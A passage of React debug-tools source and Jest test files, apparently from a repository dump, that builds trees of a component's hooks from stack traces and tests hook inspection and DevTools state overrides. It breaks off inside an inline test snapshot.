frame\n// may not be the primitive.\n//\n// We also can't assume that the last frame of the root call is the same\n// frame as the last frame of the hook call because long stack traces can be\n// truncated to a stack trace limit.\n\nlet mostLikelyAncestorIndex = 0;\n\nfunction findSharedIndex(\n  hookStack: ParsedStackFrame[],\n  rootStack: ParsedStackFrame[],\n  rootIndex: number,\n) {\n  const source = rootStack[rootIndex].source;\n  hookSearch: for (let i = 0; i < hookStack.length; i++) {\n    if (hookStack[i].source === source) {\n      // This looks like a match. Validate that the rest of both stack match up.\n      for (\n        let a = rootIndex + 1, b = i + 1;\n        a < rootStack.length && b < hookStack.length;\n        a++, b++\n      ) {\n        if (hookStack[b].source !== rootStack[a].source) {\n          // If not, give up and try a different match.\n          continue hookSearch;\n        }\n      }\n      return i;\n    }\n  }\n  return -1;\n}\n\nfunction findCommonAncestorIndex(\n  rootStack: ParsedStackFrame[],\n  hookStack: ParsedStackFrame[],\n) {\n  let rootIndex = findSharedIndex(\n    hookStack,\n    rootStack,\n    mostLikelyAncestorIndex,\n  );\n  if (rootIndex !== -1) {\n    return rootIndex;\n  }\n  // If the most likely one wasn't a hit, try any other frame to see if it is shared.\n  // If that takes more than 5 frames, something probably went wrong.\n  for (let i = 0; i < rootStack.length && i < 5; i++) {\n    rootIndex = findSharedIndex(hookStack, rootStack, i);\n    if (rootIndex !== -1) {\n      mostLikelyAncestorIndex = i;\n      return rootIndex;\n    }\n  }\n  return -1;\n}\n\nfunction isReactWrapper(functionName: void | string, wrapperName: string) {\n  const hookName = parseHookName(functionName);\n  if (wrapperName === 'HostTransitionStatus') {\n    return hookName === wrapperName || hookName === 'FormStatus';\n  }\n\n  return hookName === wrapperName;\n}\n\nfunction findPrimitiveIndex(hookStack: ParsedStackFrame[], hook: HookLogEntry) {\n  const stackCache = getPrimitiveStackCache();\n  const primitiveStack = stackCache.get(hook.primitive);\n  if (primitiveStack === undefined) {\n    return -1;\n  }\n  for (let i = 0; i < primitiveStack.length && i < hookStack.length; i++) {\n    // Note: there is no guarantee that we will find the top-most primitive frame in the stack\n    // For React Native (uses Hermes), these source fields will be identical and skipped\n    if (primitiveStack[i].source !== hookStack[i].source) {\n      // If the next two frames are functions called `useX` then we assume that they're part of the\n      // wrappers that the React package or other packages adds around the dispatcher.\n      if (\n        i < hookStack.length - 1 &&\n        isReactWrapper(hookStack[i].functionName, hook.dispatcherHookName)\n      ) {\n        i++;\n      }\n      if (\n        i < hookStack.length - 1 &&\n        isReactWrapper(hookStack[i].functionName, hook.dispatcherHookName)\n      ) {\n        i++;\n      }\n\n      return i;\n    }\n  }\n  return -1;\n}\n\nfunction parseTrimmedStack(rootStack: ParsedStackFrame[], hook: HookLogEntry) {\n  // Get the stack trace between the primitive hook function and\n  // the root function call. I.e. the stack frames of custom hooks.\n  const hookStack = ErrorStackParser.parse(hook.stackError);\n  const rootIndex = findCommonAncestorIndex(rootStack, hookStack);\n  const primitiveIndex = findPrimitiveIndex(hookStack, hook);\n  if (\n    rootIndex === -1 ||\n    primitiveIndex === -1 ||\n    rootIndex - primitiveIndex < 2\n  ) {\n    if (primitiveIndex === -1) {\n      // Something went wrong. Give up.\n      return [null, null];\n    } else {\n      return [hookStack[primitiveIndex - 1], null];\n    }\n  }\n  return [\n    hookStack[primitiveIndex - 1],\n    hookStack.slice(primitiveIndex, rootIndex - 1),\n  ];\n}\n\nfunction parseHookName(functionName: void | string): string {\n  if (!functionName) {\n    return '';\n  }\n  let startIndex = functionName.lastIndexOf('[as ');\n\n  if (startIndex !== -1) {\n    // Workaround for sourcemaps in Jest and Chrome.\n    // In `node --enable-source-maps`, we don't see \"Object.useHostTransitionStatus [as useFormStatus]\" but \"Object.useFormStatus\"\n    // \"Object.useHostTransitionStatus [as useFormStatus]\" -> \"useFormStatus\"\n    return parseHookName(functionName.slice(startIndex + '[as '.length, -1));\n  }\n  startIndex = functionName.lastIndexOf('.');\n  if (startIndex === -1) {\n    startIndex = 0;\n  } else {\n    startIndex += 1;\n  }\n\n  if (functionName.slice(startIndex).startsWith('unstable_')) {\n    startIndex += 'unstable_'.length;\n  }\n\n  if (functionName.slice(startIndex).startsWith('experimental_')) {\n    startIndex += 'experimental_'.length;\n  }\n\n  if (functionName.slice(startIndex, startIndex + 3) === 'use') {\n    if (functionName.length - startIndex === 3) {\n      return 'Use';\n    }\n    startIndex += 3;\n  }\n  return functionName.slice(startIndex);\n}\n\nfunction buildTree(\n  rootStack: ParsedStackFrame[],\n  readHookLog: Array<HookLogEntry>,\n): HooksTree {\n  const rootChildren: Array<HooksNode> = [];\n  let prevStack = null;\n  let levelChildren = rootChildren;\n  let nativeHookID = 0;\n  const stackOfChildren = [];\n  for (let i = 0; i < readHookLog.length; i++) {\n    const hook = readHookLog[i];\n    const parseResult = parseTrimmedStack(rootStack, hook);\n    const primitiveFrame = parseResult[0];\n    const stack = parseResult[1];\n    let displayName = hook.displayName;\n    if (displayName === null && primitiveFrame !== null) {\n      displayName =\n        parseHookName(primitiveFrame.functionName) ||\n        // Older versions of React do not have sourcemaps.\n        // In those versions there was always a 1:1 mapping between wrapper and dispatcher method.\n        parseHookName(hook.dispatcherHookName);\n    }\n    if (stack !== null) {\n      // Note: The indices 0 <= n < length-1 will contain the names.\n      // The indices 1 <= n < length will contain the source locations.\n      // That's why we get the name from n - 1 and don't check the source\n      // of index 0.\n      let commonSteps = 0;\n      if (prevStack !== null) {\n        // Compare the current level's stack to the new stack.\n        while (commonSteps < stack.length && commonSteps < prevStack.length) {\n          const stackSource = stack[stack.length - commonSteps - 1].source;\n          const prevSource =\n            prevStack[prevStack.length - commonSteps - 1].source;\n          if (stackSource !== prevSource) {\n            break;\n          }\n          commonSteps++;\n        }\n        // Pop back the stack as many steps as were not common.\n        for (let j = prevStack.length - 1; j > commonSteps; j--) {\n          // $FlowFixMe[incompatible-type]\n          levelChildren = stackOfChildren.pop();\n        }\n      }\n      // The remaining part of the new stack are custom hooks. Push them\n      // to the tree.\n      for (let j = stack.length - commonSteps - 1; j >= 1; j--) {\n        const children: Array<HooksNode> = [];\n        const stackFrame = stack[j];\n        const levelChild: HooksNode = {\n          id: null,\n          isStateEditable: false,\n          name: parseHookName(stack[j - 1].functionName),\n          value: undefined,\n          subHooks: children,\n          debugInfo: null,\n          hookSource: {\n            lineNumber:\n              stackFrame.lineNumber === undefined\n                ? null\n                : stackFrame.lineNumber,\n            columnNumber:\n              stackFrame.columnNumber === undefined\n                ? null\n                : stackFrame.columnNumber,\n            functionName:\n              stackFrame.functionName === undefined\n                ? null\n                : stackFrame.functionName,\n            fileName:\n              stackFrame.fileName === undefined ? null : stackFrame.fileName,\n          },\n        };\n\n        levelChildren.push(levelChild);\n        stackOfChildren.push(levelChildren);\n        levelChildren = children;\n      }\n      prevStack = stack;\n    }\n    const {primitive, debugInfo} = hook;\n\n    // For now, the \"id\" of stateful hooks is just the stateful hook index.\n    // Custom hooks have no ids, nor do non-stateful native hooks (e.g. Context, DebugValue).\n    const id =\n      primitive === 'Context' ||\n      primitive === 'Context (use)' ||\n      primitive === 'DebugValue' ||\n      primitive === 'Promise' ||\n      primitive === 'Unresolved' ||\n      primitive === 'HostTransitionStatus'\n        ? null\n        : nativeHookID++;\n\n    // For the time being, only State and Reducer hooks support runtime overrides.\n    const isStateEditable = primitive === 'Reducer' || primitive === 'State';\n    const name = displayName || primitive;\n    const levelChild: HooksNode = {\n      id,\n      isStateEditable,\n      name,\n      value: hook.value,\n      subHooks: [],\n      debugInfo: debugInfo,\n      hookSource: null,\n    };\n\n    const hookSource: HookSource = {\n      lineNumber: null,\n      functionName: null,\n      fileName: null,\n      columnNumber: null,\n    };\n    if (stack && stack.length >= 1) {\n      const stackFrame = stack[0];\n      hookSource.lineNumber =\n        stackFrame.lineNumber === undefined ? null : stackFrame.lineNumber;\n      hookSource.functionName =\n        stackFrame.functionName === undefined ? null : stackFrame.functionName;\n      hookSource.fileName =\n        stackFrame.fileName === undefined ? null : stackFrame.fileName;\n      hookSource.columnNumber =\n        stackFrame.columnNumber === undefined ? null : stackFrame.columnNumber;\n    }\n\n    levelChild.hookSource = hookSource;\n\n    levelChildren.push(levelChild);\n  }\n\n  // Associate custom hook values (useDebugValue() hook entries) with the correct hooks.\n  processDebugValues(rootChildren, null);\n\n  return rootChildren;\n}\n\n// Custom hooks support user-configurable labels (via the special useDebugValue() hook).\n// That hook adds user-provided values to the hooks tree,\n// but these values aren't intended to appear alongside of the other hooks.\n// Instead they should be attributed to their parent custom hook.\n// This method walks the tree and assigns debug values to their custom hook owners.\nfunction processDebugValues(\n  hooksTree: HooksTree,\n  parentHooksNode: HooksNode | null,\n): void {\n  const debugValueHooksNodes: Array<HooksNode> = [];\n\n  for (let i = 0; i < hooksTree.length; i++) {\n    const hooksNode = hooksTree[i];\n    if (hooksNode.name === 'DebugValue' && hooksNode.subHooks.length === 0) {\n      hooksTree.splice(i, 1);\n      i--;\n      debugValueHooksNodes.push(hooksNode);\n    } else {\n      processDebugValues(hooksNode.subHooks, hooksNode);\n    }\n  }\n\n  // Bubble debug value labels to their custom hook owner.\n  // If there is no parent hook, just ignore them for now.\n  // (We may warn about this in the future.)\n  if (parentHooksNode !== null) {\n    if (debugValueHooksNodes.length === 1) {\n      parentHooksNode.value = debugValueHooksNodes[0].value;\n    } else if (debugValueHooksNodes.length > 1) {\n      parentHooksNode.value = debugValueHooksNodes.map(({value}) => value);\n    }\n  }\n}\n\nfunction handleRenderFunctionError(error: any): void {\n  // original error might be any type.\n  if (error === SuspenseException) {\n    // An uncached Promise was used. We can't synchronously resolve the rest of\n    // the Hooks but we can at least show what ever we got so far.\n    return;\n  }\n  if (\n    error instanceof Error &&\n    error.name === 'ReactDebugToolsUnsupportedHookError'\n  ) {\n    throw error;\n  }\n  // If the error is not caused by an unsupported feature, it means\n  // that the error is caused by user's code in renderFunction.\n  // In this case, we should wrap the original error inside a custom error\n  // so that devtools can give a clear message about it.\n  // $FlowFixMe[extra-arg]: Flow doesn't know about 2nd argument of Error constructor\n  const wrapperError = new Error('Error rendering inspected component', {\n    cause: error,\n  });\n  // Note: This error name needs to stay in sync with react-devtools-shared\n  // TODO: refactor this if we ever combine the devtools and debug tools packages\n  wrapperError.name = 'ReactDebugToolsRenderError';\n  // this stage-4 proposal is not supported by all environments yet.\n  // $FlowFixMe[prop-missing] Flow doesn't have this type yet.\n  wrapperError.cause = error;\n  throw wrapperError;\n}\n\nexport function inspectHooks<Props>(\n  renderFunction: Props => React$Node,\n  props: Props,\n  currentDispatcher: ?CurrentDispatcherRef,\n): HooksTree {\n  // DevTools will pass the current renderer's injected dispatcher.\n  // Other apps might compile debug hooks as part of their app though.\n  if (currentDispatcher == null) {\n    currentDispatcher = ReactSharedInternals;\n  }\n\n  const previousDispatcher = currentDispatcher.H;\n  currentDispatcher.H = DispatcherProxy;\n\n  let readHookLog;\n  let ancestorStackError;\n\n  try {\n    ancestorStackError = new Error();\n    renderFunction(props);\n  } catch (error) {\n    handleRenderFunctionError(error);\n  } finally {\n    readHookLog = hookLog;\n    hookLog = [];\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    currentDispatcher.H = previousDispatcher;\n  }\n  const rootStack =\n    ancestorStackError === undefined\n      ? ([]: ParsedStackFrame[])\n      : ErrorStackParser.parse(ancestorStackError);\n  return buildTree(rootStack, readHookLog);\n}\n\nfunction setupContexts(contextMap: Map<ReactContext<any>, any>, fiber: Fiber) {\n  let current: null | Fiber = fiber;\n  while (current) {\n    if (current.tag === ContextProvider) {\n      let context: ReactContext<any> = current.type;\n      if ((context: any)._context !== undefined) {\n        // Support inspection of pre-19+ providers.\n        context = (context: any)._context;\n      }\n      if (!contextMap.has(context)) {\n        // Store the current value that we're going to restore later.\n        contextMap.set(context, context._currentValue);\n        // Set the inner most provider value on the context.\n        context._currentValue = current.memoizedProps.value;\n      }\n    }\n    current = current.return;\n  }\n}\n\nfunction restoreContexts(contextMap: Map<ReactContext<any>, any>) {\n  contextMap.forEach((value, context) => (context._currentValue = value));\n}\n\nfunction inspectHooksOfForwardRef<Props, Ref>(\n  renderFunction: (Props, Ref) => React$Node,\n  props: Props,\n  ref: Ref,\n  currentDispatcher: CurrentDispatcherRef,\n): HooksTree {\n  const previousDispatcher = currentDispatcher.H;\n  let readHookLog;\n  currentDispatcher.H = DispatcherProxy;\n  let ancestorStackError;\n  try {\n    ancestorStackError = new Error();\n    renderFunction(props, ref);\n  } catch (error) {\n    handleRenderFunctionError(error);\n  } finally {\n    readHookLog = hookLog;\n    hookLog = [];\n    currentDispatcher.H = previousDispatcher;\n  }\n  const rootStack =\n    ancestorStackError === undefined\n      ? ([]: ParsedStackFrame[])\n      : ErrorStackParser.parse(ancestorStackError);\n  return buildTree(rootStack, readHookLog);\n}\n\nfunction resolveDefaultProps(Component: any, baseProps: any) {\n  if (Component && Component.defaultProps) {\n    // Resolve default props. Taken from ReactElement\n    const props = assign({}, baseProps);\n    const defaultProps = Component.defaultProps;\n    for (const propName in defaultProps) {\n      if (props[propName] === undefined) {\n        props[propName] = defaultProps[propName];\n      }\n    }\n    return props;\n  }\n  return baseProps;\n}\n\nexport function inspectHooksOfFiber(\n  fiber: Fiber,\n  currentDispatcher: ?CurrentDispatcherRef,\n): HooksTree {\n  // DevTools will pass the current renderer's injected dispatcher.\n  // Other apps might compile debug hooks as part of their app though.\n  if (currentDispatcher == null) {\n    currentDispatcher = ReactSharedInternals;\n  }\n\n  if (\n    fiber.tag !== FunctionComponent &&\n    fiber.tag !== SimpleMemoComponent &&\n    fiber.tag !== ForwardRef\n  ) {\n    throw new Error(\n      'Unknown Fiber. Needs to be a function component to inspect hooks.',\n    );\n  }\n\n  // Warm up the cache so that it doesn't consume the currentHook.\n  getPrimitiveStackCache();\n\n  // Set up the current hook so that we can step through and read the\n  // current state from them.\n  currentHook = (fiber.memoizedState: Hook);\n  currentFiber = fiber;\n  const thenableState =\n    fiber.dependencies && fiber.dependencies._debugThenableState;\n  // In DEV the thenableState is an inner object.\n  const usedThenables: any = thenableState\n    ? thenableState.thenables || thenableState\n    : null;\n  currentThenableState = Array.isArray(usedThenables) ? usedThenables : null;\n  currentThenableIndex = 0;\n\n  if (hasOwnProperty.call(currentFiber, 'dependencies')) {\n    // $FlowFixMe[incompatible-use]: Flow thinks hasOwnProperty might have nulled `currentFiber`\n    const dependencies = currentFiber.dependencies;\n    currentContextDependency =\n      dependencies !== null ? dependencies.firstContext : null;\n  } else if (hasOwnProperty.call(currentFiber, 'dependencies_old')) {\n    const dependencies: Dependencies = (currentFiber: any).dependencies_old;\n    currentContextDependency =\n      dependencies !== null ? dependencies.firstContext : null;\n  } else if (hasOwnProperty.call(currentFiber, 'dependencies_new')) {\n    const dependencies: Dependencies = (currentFiber: any).dependencies_new;\n    currentContextDependency =\n      dependencies !== null ? dependencies.firstContext : null;\n  } else if (hasOwnProperty.call(currentFiber, 'contextDependencies')) {\n    const contextDependencies = (currentFiber: any).contextDependencies;\n    currentContextDependency =\n      contextDependencies !== null ? contextDependencies.first : null;\n  } else {\n    throw new Error(\n      'Unsupported React version. This is a bug in React Debug Tools.',\n    );\n  }\n\n  const type = fiber.type;\n  let props = fiber.memoizedProps;\n  if (type !== fiber.elementType) {\n    props = resolveDefaultProps(type, props);\n  }\n\n  // Only used for versions of React without memoized context value in context dependencies.\n  const contextMap = new Map<ReactContext<any>, any>();\n  try {\n    if (\n      currentContextDependency !== null &&\n      !hasOwnProperty.call(currentContextDependency, 'memoizedValue')\n    ) {\n      setupContexts(contextMap, fiber);\n    }\n\n    if (fiber.tag === ForwardRef) {\n      return inspectHooksOfForwardRef(\n        type.render,\n        props,\n        fiber.ref,\n        currentDispatcher,\n      );\n    }\n\n    return inspectHooks(type, props, currentDispatcher);\n  } finally {\n    currentFiber = null;\n    currentHook = null;\n    currentContextDependency = null;\n    currentThenableState = null;\n    currentThenableIndex = 0;\n\n    restoreContexts(contextMap);\n  }\n}\n"
  },
  {
    "path": "packages/react-debug-tools/src/ReactDebugTools.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {inspectHooks, inspectHooksOfFiber} from './ReactDebugHooks';\n\nexport {inspectHooks, inspectHooksOfFiber};\n"
  },
  {
    "path": "packages/react-debug-tools/src/__tests__/ReactDevToolsHooksIntegration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\ndescribe('React hooks DevTools integration', () => {\n  let React;\n  let ReactDebugTools;\n  let ReactTestRenderer;\n  let act;\n  let overrideHookState;\n  let scheduleUpdate;\n  let scheduleRetry;\n  let setSuspenseHandler;\n  let waitForAll;\n\n  global.IS_REACT_ACT_ENVIRONMENT = true;\n\n  beforeEach(() => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__ = {\n      inject: injected => {\n        overrideHookState = injected.overrideHookState;\n        scheduleUpdate = injected.scheduleUpdate;\n        scheduleRetry = injected.scheduleRetry;\n        setSuspenseHandler = injected.setSuspenseHandler;\n      },\n      supportsFiber: true,\n      onCommitFiberRoot: () => {},\n      onCommitFiberUnmount: () => {},\n    };\n\n    jest.resetModules();\n\n    React = require('react');\n    ReactDebugTools = require('react-debug-tools');\n    ReactTestRenderer = require('react-test-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n\n    act = require('internal-test-utils').act;\n  });\n\n  it('should support editing useState hooks', async () => {\n    let setCountFn;\n\n    function MyComponent() {\n      const [count, setCount] = React.useState(0);\n      setCountFn = setCount;\n      return <div>count:{count}</div>;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<MyComponent />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['count:', '0'],\n    });\n\n    const fiber = renderer.root.findByType(MyComponent)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(fiber);\n    const stateHook = tree[0];\n    expect(stateHook.isStateEditable).toBe(true);\n\n    if (__DEV__) {\n      await act(() => overrideHookState(fiber, stateHook.id, [], 10));\n      expect(renderer.toJSON()).toEqual({\n        type: 'div',\n        props: {},\n        children: ['count:', '10'],\n      });\n\n      await act(() => setCountFn(count => count + 1));\n      expect(renderer.toJSON()).toEqual({\n        type: 'div',\n        props: {},\n        children: ['count:', '11'],\n      });\n    }\n  });\n\n  it('should support editable useReducer hooks', async () => {\n    const initialData = {foo: 'abc', bar: 123};\n\n    function reducer(state, action) {\n      switch (action.type) {\n        case 'swap':\n          return {foo: state.bar, bar: state.foo};\n        default:\n          throw new Error();\n      }\n    }\n\n    let dispatchFn;\n    function MyComponent() {\n      const [state, dispatch] = React.useReducer(reducer, initialData);\n      dispatchFn = dispatch;\n      return (\n        <div>\n          foo:{state.foo}, bar:{state.bar}\n        </div>\n      );\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<MyComponent />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['foo:', 'abc', ', bar:', '123'],\n    });\n\n    const fiber = renderer.root.findByType(MyComponent)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(fiber);\n    const reducerHook = tree[0];\n    expect(reducerHook.isStateEditable).toBe(true);\n\n    if (__DEV__) {\n      await act(() => overrideHookState(fiber, reducerHook.id, ['foo'], 'def'));\n      expect(renderer.toJSON()).toEqual({\n        type: 'div',\n        props: {},\n        children: ['foo:', 'def', ', bar:', '123'],\n      });\n\n      await act(() => dispatchFn({type: 'swap'}));\n      expect(renderer.toJSON()).toEqual({\n        type: 'div',\n        props: {},\n        children: ['foo:', '123', ', bar:', 'def'],\n      });\n    }\n  });\n\n  // This test case is based on an open source bug report:\n  // https://github.com/facebookincubator/redux-react-hook/issues/34#issuecomment-466693787\n  it('should handle interleaved stateful hooks (e.g. useState) and non-stateful hooks (e.g. useContext)', async () => {\n    const MyContext = React.createContext(1);\n\n    let setStateFn;\n    function useCustomHook() {\n      const context = React.useContext(MyContext);\n      const [state, setState] = React.useState({count: context});\n      React.useDebugValue(state.count);\n      setStateFn = setState;\n      return state.count;\n    }\n\n    function MyComponent() {\n      const count = useCustomHook();\n      return <div>count:{count}</div>;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<MyComponent />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['count:', '1'],\n    });\n\n    const fiber = renderer.root.findByType(MyComponent)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(fiber);\n    const stateHook = tree[0].subHooks[1];\n    expect(stateHook.isStateEditable).toBe(true);\n\n    if (__DEV__) {\n      await act(() => overrideHookState(fiber, stateHook.id, ['count'], 10));\n      expect(renderer.toJSON()).toEqual({\n        type: 'div',\n        props: {},\n        children: ['count:', '10'],\n      });\n      await act(() => setStateFn(state => ({count: state.count + 1})));\n      expect(renderer.toJSON()).toEqual({\n        type: 'div',\n        props: {},\n        children: ['count:', '11'],\n      });\n    }\n  });\n\n  it('should support overriding suspense in legacy mode', async () => {\n    if (__DEV__) {\n      // Lock the first render\n      setSuspenseHandler(() => true);\n    }\n\n    function MyComponent() {\n      return 'Done';\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <div>\n          <React.Suspense fallback={'Loading'}>\n            <MyComponent />\n          </React.Suspense>\n        </div>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    const fiber = renderer.root._currentFiber().child;\n    if (__DEV__) {\n      // First render was locked\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n\n      // Release the lock\n      setSuspenseHandler(() => false);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n\n      // Lock again\n      setSuspenseHandler(() => true);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n\n      // Release the lock again\n      setSuspenseHandler(() => false);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n\n      // Ensure it checks specific fibers.\n      setSuspenseHandler(f => f === fiber || f === fiber.alternate);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n      setSuspenseHandler(f => f !== fiber && f !== fiber.alternate);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n    } else {\n      expect(renderer.toJSON().children).toEqual(['Done']);\n    }\n  });\n\n  it('should support overriding suspense in concurrent mode', async () => {\n    if (__DEV__) {\n      // Lock the first render\n      setSuspenseHandler(() => true);\n    }\n\n    function MyComponent() {\n      return 'Done';\n    }\n\n    const renderer = await act(() =>\n      ReactTestRenderer.create(\n        <div>\n          <React.Suspense fallback={'Loading'}>\n            <MyComponent />\n          </React.Suspense>\n        </div>,\n        {unstable_isConcurrent: true},\n      ),\n    );\n\n    await waitForAll([]);\n    // Ensure we timeout any suspense time.\n    jest.advanceTimersByTime(1000);\n    const fiber = renderer.root._currentFiber().child;\n    if (__DEV__) {\n      // First render was locked\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n\n      // Release the lock\n      setSuspenseHandler(() => false);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n\n      // Lock again\n      setSuspenseHandler(() => true);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n\n      // Release the lock again\n      setSuspenseHandler(() => false);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n\n      // Ensure it checks specific fibers.\n      setSuspenseHandler(f => f === fiber || f === fiber.alternate);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n      setSuspenseHandler(f => f !== fiber && f !== fiber.alternate);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n    } else {\n      expect(renderer.toJSON().children).toEqual(['Done']);\n    }\n\n    if (scheduleRetry) {\n      // Lock again, synchronously\n      setSuspenseHandler(() => true);\n      await act(() => scheduleUpdate(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Loading']);\n\n      // Release the lock again but this time using retry lane\n      setSuspenseHandler(() => false);\n      await act(() => scheduleRetry(fiber)); // Re-render\n      expect(renderer.toJSON().children).toEqual(['Done']);\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-debug-tools/src/__tests__/ReactHooksInspection-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactDebugTools;\n\nfunction normalizeSourceLoc(tree) {\n  tree.forEach(node => {\n    if (node.hookSource) {\n      node.hookSource.fileName = '**';\n      node.hookSource.lineNumber = 0;\n      node.hookSource.columnNumber = 0;\n    }\n    normalizeSourceLoc(node.subHooks);\n  });\n  return tree;\n}\n\ndescribe('ReactHooksInspection', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDebugTools = require('react-debug-tools');\n  });\n\n  it('should inspect a simple useState hook', () => {\n    function Foo(props) {\n      const [state] = React.useState('hello world');\n      return <div>{state}</div>;\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"hello world\",\n        },\n      ]\n    `);\n  });\n\n  it('should inspect a simple custom hook', () => {\n    function useCustom(value) {\n      const [state] = React.useState(value);\n      React.useDebugValue('custom hook label');\n      return state;\n    }\n    function Foo(props) {\n      const value = useCustom('hello world');\n      return <div>{value}</div>;\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    if (__DEV__) {\n      expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n              [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"Foo\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": null,\n                  \"isStateEditable\": false,\n                  \"name\": \"Custom\",\n                  \"subHooks\": [\n                    {\n                      \"debugInfo\": null,\n                      \"hookSource\": {\n                        \"columnNumber\": 0,\n                        \"fileName\": \"**\",\n                        \"functionName\": \"useCustom\",\n                        \"lineNumber\": 0,\n                      },\n                      \"id\": 0,\n                      \"isStateEditable\": true,\n                      \"name\": \"State\",\n                      \"subHooks\": [],\n                      \"value\": \"hello world\",\n                    },\n                  ],\n                  \"value\": \"custom hook label\",\n                },\n              ]\n          `);\n    } else {\n      expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n        [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": 0,\n              \"fileName\": \"**\",\n              \"functionName\": \"Foo\",\n              \"lineNumber\": 0,\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"Custom\",\n            \"subHooks\": [\n              {\n                \"debugInfo\": null,\n                \"hookSource\": {\n                  \"columnNumber\": 0,\n                  \"fileName\": \"**\",\n                  \"functionName\": \"useCustom\",\n                  \"lineNumber\": 0,\n                },\n                \"id\": 0,\n                \"isStateEditable\": true,\n                \"name\": \"State\",\n                \"subHooks\": [],\n                \"value\": \"hello world\",\n              },\n            ],\n            \"value\": undefined,\n          },\n        ]\n      `);\n    }\n  });\n\n  it('should inspect a tree of multiple hooks', () => {\n    function effect() {}\n    function useCustom(value) {\n      const [state] = React.useState(value);\n      React.useEffect(effect);\n      return state;\n    }\n    function Foo(props) {\n      const value1 = useCustom('hello');\n      const value2 = useCustom('world');\n      return (\n        <div>\n          {value1} {value2}\n        </div>\n      );\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Custom\",\n          \"subHooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useCustom\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 0,\n              \"isStateEditable\": true,\n            